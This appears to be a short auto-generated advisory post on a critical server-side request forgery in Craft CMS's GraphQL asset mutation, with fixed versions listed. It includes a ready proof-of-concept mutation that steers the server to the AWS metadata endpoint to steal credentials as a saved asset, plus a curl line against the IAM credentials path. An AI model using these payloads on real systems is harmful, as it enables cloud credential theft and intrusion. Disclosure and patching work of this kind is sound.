Craft CMS, Server-Side Request Forgery (SSRF) via GraphQL Mutation (Critical)

Listen to this Post

The vulnerability exists within the `save__Asset` GraphQL mutation. The mutation accepts a `_file` input object containing a `url` parameter. When processing this mutation, the Craft CMS server does not properly validate or restrict the `url` value. It passes the user-supplied URL directly to a file-fetching function, such as file_get_contents(), which retrieves data from the specified location. This allows an attacker to set the `url` to target internal, non-public services (e.g., http://127.0.0.1:80`,http://169.254.169.254/latest/meta-data/`). The server blindly fetches the response from this arbitrary address. The retrieved content is then saved as a new asset file within the Craft volume. Since assets are accessible via the CMS, the attacker can later view or download this file, successfully exfiltrating sensitive data from internal networks or cloud metadata services.
Platform: Craft CMS
Version: <5.8.21, <4.16.17
Vulnerability : GraphQL SSRF
Severity: Critical
date: 2025-12-04

Prediction: 2025-12-04 Patched

What Undercode Say:

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
mutation {
save_documents_Asset(_file: {
url: "http://169.254.169.254/latest/meta-data/"
filename: "aws_creds.txt"
}) {
id
}
}

How Exploit:

1. Attacker with asset permissions crafts GraphQL mutation.

2. Mutation uses `_file.url` pointing to internal endpoint.

3. Server fetches and saves response as asset.

  1. Attacker accesses the saved asset to retrieve data.

Protection from this CVE:

Update to Craft CMS 5.8.21 or 4.16.17.

Impact:

Internal network access.

Cloud metadata compromise.

Data exfiltration.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top